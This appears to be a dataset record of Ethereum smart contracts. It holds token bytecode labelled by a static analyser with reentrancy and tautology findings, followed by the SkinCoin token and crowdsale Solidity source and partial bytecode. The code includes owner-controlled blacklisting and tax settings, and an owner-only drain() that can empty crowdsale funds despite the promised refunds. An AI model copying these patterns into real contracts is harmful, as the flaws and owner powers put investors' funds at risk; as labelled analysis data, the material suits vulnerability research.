0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aa9565b6105ca565b005b34801561020a57600080fd5b5060408051808201825260088152674b6f6e6e69496e7560c01b602082015290516102359190611b6e565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611bc3565b610669565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50683635c9adc5dea000005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611bef565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060155461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611c30565b6106e9565b34801561036a57600080fd5b506101fc610379366004611c5d565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611c30565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611c78565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611c30565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028e565b34801561045557600080fd5b506101fc610464366004611c5d565b61089c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611c78565b6108e4565b3480156104ab57600080fd5b506101fc6104ba366004611c91565b610913565b3480156104cb57600080fd5b5061025e6104da366004611bc3565b610ac9565b3480156104eb57600080fd5b5061025e6104fa366004611c30565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc610ad6565b34801561053057600080fd5b506101fc61053f366004611cc3565b610b2a565b34801561055057600080fd5b506102be61055f366004611d47565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611c78565b610bcb565b3480156105b657600080fd5b506101fc6105c5366004611c30565b610bfa565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611d80565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611db5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611de1565b915050610600565b5050565b6000610676338484610ce4565b5060015b92915050565b600061068d848484610e08565b6106df84336106da85604051806060016040528060288152602001611efb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611344565b610ce4565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611d80565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611d80565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c48161137e565b50565b6001600160a01b03811660009081526002602052604081205461067a906113b8565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611d80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611d80565b674563918244f400008111156107c457601655565b6000546001600160a01b031633146108c65760405162461bcd60e51b81526004016105f490611d80565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090e5760405162461bcd60e51b81526004016105f490611d80565b601855565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016105f490611d80565b600484111561099c5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f4565b600e8211156109f85760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f4565b6004831115610a585760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f4565b600e811115610ab55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f4565b600893909355600a91909155600955600b55565b6000610676338484610e08565b6012546001600160a01b0316336001600160a01b03161480610b0b57506013546001600160a01b0316336001600160a01b0316145b610b1457600080fd5b6000610b1f306107c7565b90506107c48161143c565b6000546001600160a01b03163314610b545760405162461bcd60e51b81526004016105f490611d80565b60005b82811015610bc5578160056000868685818110610b7657610b76611db5565b9050602002016020810190610b8b9190611c30565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbd81611de1565b915050610b57565b50505050565b6000546001600160a01b03163314610bf55760405162461bcd60e51b81526004016105f490611d80565b601755565b6000546001600160a01b03163314610c245760405162461bcd60e51b81526004016105f490611d80565b6001600160a01b038116610c895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610da75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610ece5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610f305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610f5c57506000546001600160a01b03838116911614155b1561123d57601554600160a01b900460ff16610ff5576000546001600160a01b03848116911614610ff55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b6016548111156110475760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff1615801561108957506001600160a01b03821660009081526010602052604090205460ff16155b6110e15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b038381169116146111665760175481611103846107c7565b61110d9190611dfc565b106111665760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000611171306107c7565b60185460165491925082101590821061118a5760165491505b8080156111a15750601554600160a81b900460ff16155b80156111bb57506015546001600160a01b03868116911614155b80156111d05750601554600160b01b900460ff165b80156111f557506001600160a01b03851660009081526005602052604090205460ff16155b801561121a57506001600160a01b03841660009081526005602052604090205460ff16155b1561123a576112288261143c565b478015611238576112384761137e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127f57506001600160a01b03831660009081526005602052604090205460ff165b806112b157506015546001600160a01b038581169116148015906112b157506015546001600160a01b03848116911614155b156112be57506000611338565b6015546001600160a01b0385811691161480156112e957506014546001600160a01b03848116911614155b156112fb57600854600c55600954600d555b6015546001600160a01b03848116911614801561132657506014546001600160a01b03858116911614155b1561133857600a54600c55600b54600d555b610bc5848484846115b6565b600081848411156113685760405162461bcd60e51b81526004016105f49190611b6e565b5060006113758486611e14565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b600060065482111561141f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006114296115e4565b90506114358382611607565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148457611484611db5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115019190611e2b565b8160018151811061151457611514611db5565b6001600160a01b03928316602091820292909201015260145461153a9130911684610ce4565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611573908590600090869030904290600401611e48565b600060405180830381600087803b15801561158d57600080fd5b505af11580156115a1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c3576115c3611649565b6115ce848484611677565b80610bc557610bc5600e54600c55600f54600d55565b60008060006115f161176e565b90925090506116008282611607565b9250505090565b600061143583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b0565b600c541580156116595750600d54155b1561166057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611689876117de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bb908761183b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ea908661187d565b6001600160a01b03891660009081526002602052604090205561170c816118dc565b6117168483611926565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178a8282611607565b8210156117a757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d15760405162461bcd60e51b81526004016105f49190611b6e565b5060006113758486611eb9565b60008060008060008060008060006117fb8a600c54600d5461194a565b925092509250600061180b6115e4565b9050600080600061181e8e87878761199f565b919e509c509a509598509396509194505050505091939550919395565b600061143583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611344565b60008061188a8385611dfc565b9050838110156114355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b60006118e66115e4565b905060006118f483836119ef565b30600090815260026020526040902054909150611911908261187d565b30600090815260026020526040902055505050565b600654611933908361183b565b600655600754611943908261187d565b6007555050565b6000808080611964606461195e89896119ef565b90611607565b90506000611977606461195e8a896119ef565b9050600061198f826119898b8661183b565b9061183b565b9992985090965090945050505050565b60008080806119ae88866119ef565b905060006119bc88876119ef565b905060006119ca88886119ef565b905060006119dc82611989868661183b565b939b939a50919850919650505050505050565b6000826119fe5750600061067a565b6000611a0a8385611edb565b905082611a178583611eb9565b146114355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611aa481611a84565b919050565b60006020808385031215611abc57600080fd5b823567ffffffffffffffff80821115611ad457600080fd5b818501915085601f830112611ae857600080fd5b813581811115611afa57611afa611a6e565b8060051b604051601f19603f83011681018181108582111715611b1f57611b1f611a6e565b604052918252848201925083810185019188831115611b3d57600080fd5b938501935b82851015611b6257611b5385611a99565b84529385019392850192611b42565b98975050505050505050565b600060208083528351808285015260005b81811015611b9b57858101830151858201604001528201611b7f565b81811115611bad576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd657600080fd5b8235611be181611a84565b946020939093013593505050565b600080600060608486031215611c0457600080fd5b8335611c0f81611a84565b92506020840135611c1f81611a84565b929592945050506040919091013590565b600060208284031215611c4257600080fd5b813561143581611a84565b80358015158114611aa457600080fd5b600060208284031215611c6f57600080fd5b61143582611c4d565b600060208284031215611c8a57600080fd5b5035919050565b60008060008060808587031215611ca757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd857600080fd5b833567ffffffffffffffff80821115611cf057600080fd5b818601915086601f830112611d0457600080fd5b813581811115611d1357600080fd5b8760208260051b8501011115611d2857600080fd5b602092830195509350611d3e9186019050611c4d565b90509250925092565b60008060408385031215611d5a57600080fd5b8235611d6581611a84565b91506020830135611d7581611a84565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df557611df5611dcb565b5060010190565b60008219821115611e0f57611e0f611dcb565b500190565b600082821015611e2657611e26611dcb565b500390565b600060208284031215611e3d57600080fd5b815161143581611a84565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e985784516001600160a01b031683529383019391830191600101611e73565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef557611ef5611dcb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cdf980158c9499f8f7c3078a6a3c66f1100a62f066f0ee71f6304aa2cd5311df64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,472
0x422adcf787e49dd93ce10a583655c212e00d42ce
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /* * Pausable * Abstract contract that allows children to implement an * emergency stop mechanism. */ contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { if (stopped) { throw; } _; } modifier onlyInEmergency { if (!stopped) { throw; } _; } // called by the owner on emergency, triggers stopped state function emergencyStop() external onlyOwner { stopped = true; } // called by the owner on end of emergency, returns to normal state function release() external onlyOwner onlyInEmergency { stopped = false; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /* * PullPayment * Base contract supporting async send for pull payments. * Inherit from this contract and use asyncSend instead of send. */ contract PullPayment { using SafeMath for uint; mapping(address => uint) public payments; event LogRefundETH(address to, uint value); /** * Store sent amount as credit to be pulled, called by payer **/ function asyncSend(address dest, uint amount) internal { payments[dest] = payments[dest].add(amount); } // withdraw accumulated balance, called by payee function withdrawPayments() { address payee = msg.sender; uint payment = payments[payee]; if (payment == 0) { throw; } if (this.balance < payment) { throw; } payments[payee] = 0; if (!payee.send(payment)) { throw; } LogRefundETH(payee,payment); } } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /* * Fix for the ERC20 short address attack */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * SkinCoin token contract. Implements */ contract SkinCoin is StandardToken, Ownable { string public constant name = "SkinCoin"; string public constant symbol = "SKIN"; uint public constant decimals = 6; // Constructor function SkinCoin() { totalSupply = 1000000000000000; balances[msg.sender] = totalSupply; // Send all tokens to owner } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); return true; } } /* Crowdsale Smart Contract for the skincoin.org project This smart contract collects ETH, and in return emits SkinCoin tokens to the backers */ contract Crowdsale is Pausable, PullPayment { using SafeMath for uint; struct Backer { uint weiReceived; // Amount of Ether given uint coinSent; } /* * Constants */ /* Minimum number of SkinCoin to sell */ uint public constant MIN_CAP = 30000000000000; // 30,000,000 SkinCoins /* Maximum number of SkinCoin to sell */ uint public constant MAX_CAP = 600000000000000; // 600,000,000 SkinCoins /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant CROWDSALE_PERIOD = 30 days; /* Number of SkinCoins per Ether */ uint public constant COIN_PER_ETHER = 6000000000; // 6,000 SkinCoins /* * Variables */ /* SkinCoin contract reference */ SkinCoin public coin; /* Multisig contract that will receive the Ether */ address public multisigEther; /* Number of Ether received */ uint public etherReceived; /* Number of SkinCoins sent to Ether contributors */ uint public coinSentToEther; /* Crowdsale start time */ uint public startTime; /* Crowdsale end time */ uint public endTime; /* Is crowdsale still on going */ bool public crowdsaleClosed; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public backers; /* * Modifiers */ modifier minCapNotReached() { if ((now < endTime) || coinSentToEther >= MIN_CAP ) throw; _; } modifier respectTimeFrame() { if ((now < startTime) || (now > endTime )) throw; _; } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale(address _skinCoinAddress, address _to) { coin = SkinCoin(_skinCoinAddress); multisigEther = _to; } /* * The fallback function corresponds to a donation in ETH */ function() stopInEmergency respectTimeFrame payable { receiveETH(msg.sender); } /* * To call to start the crowdsale */ function start() onlyOwner { if (startTime != 0) throw; // Crowdsale was already started startTime = now ; endTime = now + CROWDSALE_PERIOD; } /* * Receives a donation in Ether */ function receiveETH(address beneficiary) internal { if (msg.value < MIN_INVEST_ETHER) throw; // Don&#39;t accept funding under a predefined threshold uint coinToSend = bonus(msg.value.mul(COIN_PER_ETHER).div(1 ether)); // Compute the number of SkinCoin to send if (coinToSend.add(coinSentToEther) > MAX_CAP) throw; Backer backer = backers[beneficiary]; coin.transfer(beneficiary, coinToSend); // Transfer SkinCoins right now backer.coinSent = backer.coinSent.add(coinToSend); backer.weiReceived = backer.weiReceived.add(msg.value); // Update the total wei collected during the crowdfunding for this backer etherReceived = etherReceived.add(msg.value); // Update the total wei collected during the crowdfunding coinSentToEther = coinSentToEther.add(coinToSend); // Send events LogCoinsEmited(msg.sender ,coinToSend); LogReceivedETH(beneficiary, etherReceived); } /* *Compute the SkinCoin bonus according to the investment period */ function bonus(uint amount) internal constant returns (uint) { if (now < startTime.add(2 days)) return amount.add(amount.div(5)); // bonus 20% return amount; } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { if (now < endTime) { // Cannot finalise before CROWDSALE_PERIOD or before selling all coins if (coinSentToEther == MAX_CAP) { } else { throw; } } if (coinSentToEther < MIN_CAP && now < endTime + 15 days) throw; // If MIN_CAP is not reached donors have 15days to get refund before we can finalise if (!multisigEther.send(this.balance)) throw; // Move the remaining Ether to the multisig address uint remains = coin.balanceOf(this); if (remains > 0) { // Burn the rest of SkinCoins if (!coin.burn(remains)) throw ; } crowdsaleClosed = true; } /* * Failsafe drain */ function drain() onlyOwner { if (!owner.send(this.balance)) throw; } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisig(address addr) onlyOwner public { if (addr == address(0)) throw; multisigEther = addr; } /** * Manually back SkinCoin owner address. */ function backSkinCoinOwner() onlyOwner public { coin.transferOwnership(owner); } /** * Transfer remains to owner in case if impossible to do min invest */ function getRemainCoins() onlyOwner public { var remains = MAX_CAP - coinSentToEther; uint minCoinsToSell = bonus(MIN_INVEST_ETHER.mul(COIN_PER_ETHER) / (1 ether)); if(remains > minCoinsToSell) throw; Backer backer = backers[owner]; coin.transfer(owner, remains); // Transfer SkinCoins right now backer.coinSent = backer.coinSent.add(remains); coinSentToEther = coinSentToEther.add(remains); // Send events LogCoinsEmited(this ,remains); LogReceivedETH(owner, etherReceived); } /* * When MIN_CAP is not reach: * 1) backer call the "approve" function of the SkinCoin token contract with the amount of all SkinCoins they got in order to be refund * 2) backer call the "refund" function of the Crowdsale contract with the same amount of SkinCoins * 3) backer call the "withdrawPayments" function of the Crowdsale contract to get a refund in ETH */ function refund(uint _value) minCapNotReached public { if (_value != backers[msg.sender].coinSent) throw; // compare value from backer balance coin.transferFrom(msg.sender, address(this), _value); // get the token back to the crowdsale contract if (!coin.burn(_value)) throw ; // token sent for refund are burnt uint ETHToSend = backers[msg.sender].weiReceived; backers[msg.sender].weiReceived=0; if (ETHToSend > 0) { asyncSend(msg.sender, ETHToSend); // pull payment to get refund in ETH } } }
0x606060405236156101385763ffffffff60e060020a60003504166311df99958114610180578063278ecde1146101ac57806330adce0e146101c15780633197cbb6146101e35780634bb278f3146102055780636103d70b1461021757806363a599a4146102295780636a2d1cb81461023b57806375f12b211461025d57806378e9792514610281578063801db9cc146102a357806384efe4d6146102c557806386d1a69f146102d75780638da5cb5b146102e95780638ef26a71146103155780639890220b146103375780639b39caef14610349578063b85dfb801461036b578063be9a6555146103a0578063ccb07cef146103b2578063d06c91e4146103d6578063d669e1d414610402578063df40503c14610424578063e2982c2114610436578063f2fde38b14610464578063f3283fba14610482575b61017e5b60005460a060020a900460ff16156101545760006000fd5b600654421080610165575060075442115b156101705760006000fd5b610179336104a0565b5b5b5b565b005b341561018857fe5b610190610651565b60408051600160a060020a039092168252519081900360200190f35b34156101b457fe5b61017e600435610660565b005b34156101c957fe5b6101d16107ca565b60408051918252519081900360200190f35b34156101eb57fe5b6101d16107d0565b60408051918252519081900360200190f35b341561020d57fe5b61017e6107d6565b005b341561021f57fe5b61017e61097a565b005b341561023157fe5b61017e610a41565b005b341561024357fe5b6101d1610a77565b60408051918252519081900360200190f35b341561026557fe5b61026d610a83565b604080519115158252519081900360200190f35b341561028957fe5b6101d1610a93565b60408051918252519081900360200190f35b34156102ab57fe5b6101d1610a99565b60408051918252519081900360200190f35b34156102cd57fe5b61017e610aa3565b005b34156102df57fe5b61017e610b22565b005b34156102f157fe5b610190610b6c565b60408051600160a060020a039092168252519081900360200190f35b341561031d57fe5b6101d1610b7b565b60408051918252519081900360200190f35b341561033f57fe5b61017e610b81565b005b341561035157fe5b6101d1610bdb565b60408051918252519081900360200190f35b341561037357fe5b610387600160a060020a0360043516610be4565b6040805192835260208301919091528051918290030190f35b34156103a857fe5b61017e610bfd565b005b34156103ba57fe5b61026d610c39565b604080519115158252519081900360200190f35b34156103de57fe5b610190610c42565b60408051600160a060020a039092168252519081900360200190f35b341561040a57fe5b6101d1610c51565b60408051918252519081900360200190f35b341561042c57fe5b61017e610c5c565b005b341561043e57fe5b6101d1600160a060020a0360043516610de7565b60408051918252519081900360200190f35b341561046c57fe5b61017e600160a060020a0360043516610df9565b005b341561048a57fe5b61017e600160a060020a0360043516610e45565b005b6000600067016345785d8a00003410156104ba5760006000fd5b6104ef6104ea670de0b6b3a76400006104de34640165a0bc0063ffffffff610e9716565b9063ffffffff610ec616565b610f09565b9150660221b262dd800061050e60055484610f5990919063ffffffff16565b111561051a5760006000fd5b50600160a060020a03808316600081815260096020526040808220600254825160e060020a63a9059cbb02815260048101959095526024850187905291519094919091169263a9059cbb92604480830193919282900301818387803b151561057e57fe5b6102c65a03f1151561058c57fe5b50505060018101546105a4908363ffffffff610f5916565b600182015580546105bb903463ffffffff610f5916565b81556004546105d0903463ffffffff610f5916565b6004556005546105e6908363ffffffff610f5916565b600555604080518381529051600160a060020a03331691600080516020610fee833981519152919081900360200190a260045460408051600160a060020a038616815260208101929092528051600080516020610fce8339815191529281900390910190a15b505050565b600254600160a060020a031681565b600060075442108061067a5750651b48eb57e00060055410155b156106855760006000fd5b600160a060020a03331660009081526009602052604090206001015482146106ad5760006000fd5b6002546040805160e060020a6323b872dd028152600160a060020a033381166004830152308116602483015260448201869052915191909216916323b872dd91606480830192600092919082900301818387803b151561070957fe5b6102c65a03f1151561071757fe5b50506002546040805160006020918201819052825160e360020a630852cd8d028152600481018890529251600160a060020a0390941694506342966c68936024808501949192918390030190829087803b151561077057fe5b6102c65a03f1151561077e57fe5b505060405151151590506107925760006000fd5b50600160a060020a0333166000908152600960205260408120805490829055908111156107c3576107c33382610f75565b5b5b5b5050565b60045481565b60075481565b6000805433600160a060020a039081169116146107f35760006000fd5b60075442101561081957660221b262dd8000600554141561081357610819565b60006000fd5b5b651b48eb57e00060055410801561083757506007546213c6800142105b156108425760006000fd5b600354604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015156108785760006000fd5b6002546040805160006020918201819052825160e060020a6370a08231028152600160a060020a033081166004830152935193909416936370a08231936024808301949391928390030190829087803b15156108d057fe5b6102c65a03f115156108de57fe5b5050604051519150506000811115610967576002546040805160006020918201819052825160e360020a630852cd8d028152600481018690529251600160a060020a03909416936342966c689360248082019493918390030190829087803b151561094557fe5b6102c65a03f1151561095357fe5b505060405151151590506109675760006000fd5b5b6008805460ff191660011790555b5b50565b33600160a060020a0381166000908152600160205260409020548015156109a15760006000fd5b8030600160a060020a03163110156109b95760006000fd5b600160a060020a0382166000818152600160205260408082208290555183156108fc0291849190818181858888f1935050505015156109f85760006000fd5b60408051600160a060020a03841681526020810183905281517f991678bf7f45816a1ff5cf860f3dabd3e26c34d959aa479904bf9caec17af1c5929181900390910190a15b5050565b60005433600160a060020a03908116911614610a5d5760006000fd5b6000805460a060020a60ff02191660a060020a1790555b5b565b67016345785d8a000081565b60005460a060020a900460ff1681565b60065481565b651b48eb57e00081565b60005433600160a060020a03908116911614610abf5760006000fd5b600254600080546040805160e060020a63f2fde38b028152600160a060020a0392831660048201529051919093169263f2fde38b92602480830193919282900301818387803b1515610b0d57fe5b6102c65a03f1151561064c57fe5b5050505b5b565b60005433600160a060020a03908116911614610b3e5760006000fd5b60005460a060020a900460ff161515610b575760006000fd5b6000805460a060020a60ff02191690555b5b5b565b600054600160a060020a031681565b60055481565b60005433600160a060020a03908116911614610b9d5760006000fd5b60008054604051600160a060020a0391821692309092163180156108fc0292909190818181858888f1935050505015156101795760006000fd5b5b5b565b640165a0bc0081565b6009602052600090815260409020805460019091015482565b60005433600160a060020a03908116911614610c195760006000fd5b60065415610c275760006000fd5b42600681905562278d00016007555b5b565b60085460ff1681565b600354600160a060020a031681565b660221b262dd800081565b600080548190819033600160a060020a03908116911614610c7d5760006000fd5b600554660221b262dd8000039250610cc3670de0b6b3a7640000610cb467016345785d8a0000640165a0bc0063ffffffff610e9716565b811515610cbd57fe5b04610f09565b915081831115610cd35760006000fd5b5060008054600160a060020a0390811680835260096020526040808420600254825160e060020a63a9059cbb02815260048101949094526024840188905291519094919093169263a9059cbb92604480820193929182900301818387803b1515610d3957fe5b6102c65a03f11515610d4757fe5b5050506001810154610d5f908463ffffffff610f5916565b6001820155600554610d77908463ffffffff610f5916565b600555604080518481529051600160a060020a03301691600080516020610fee833981519152919081900360200190a260005460045460408051600160a060020a03909316835260208301919091528051600080516020610fce8339815191529281900390910190a15b5b505050565b60016020526000908152604090205481565b60005433600160a060020a03908116911614610e155760006000fd5b600160a060020a038116156109765760008054600160a060020a031916600160a060020a0383161790555b5b5b50565b60005433600160a060020a03908116911614610e615760006000fd5b600160a060020a0381161515610e775760006000f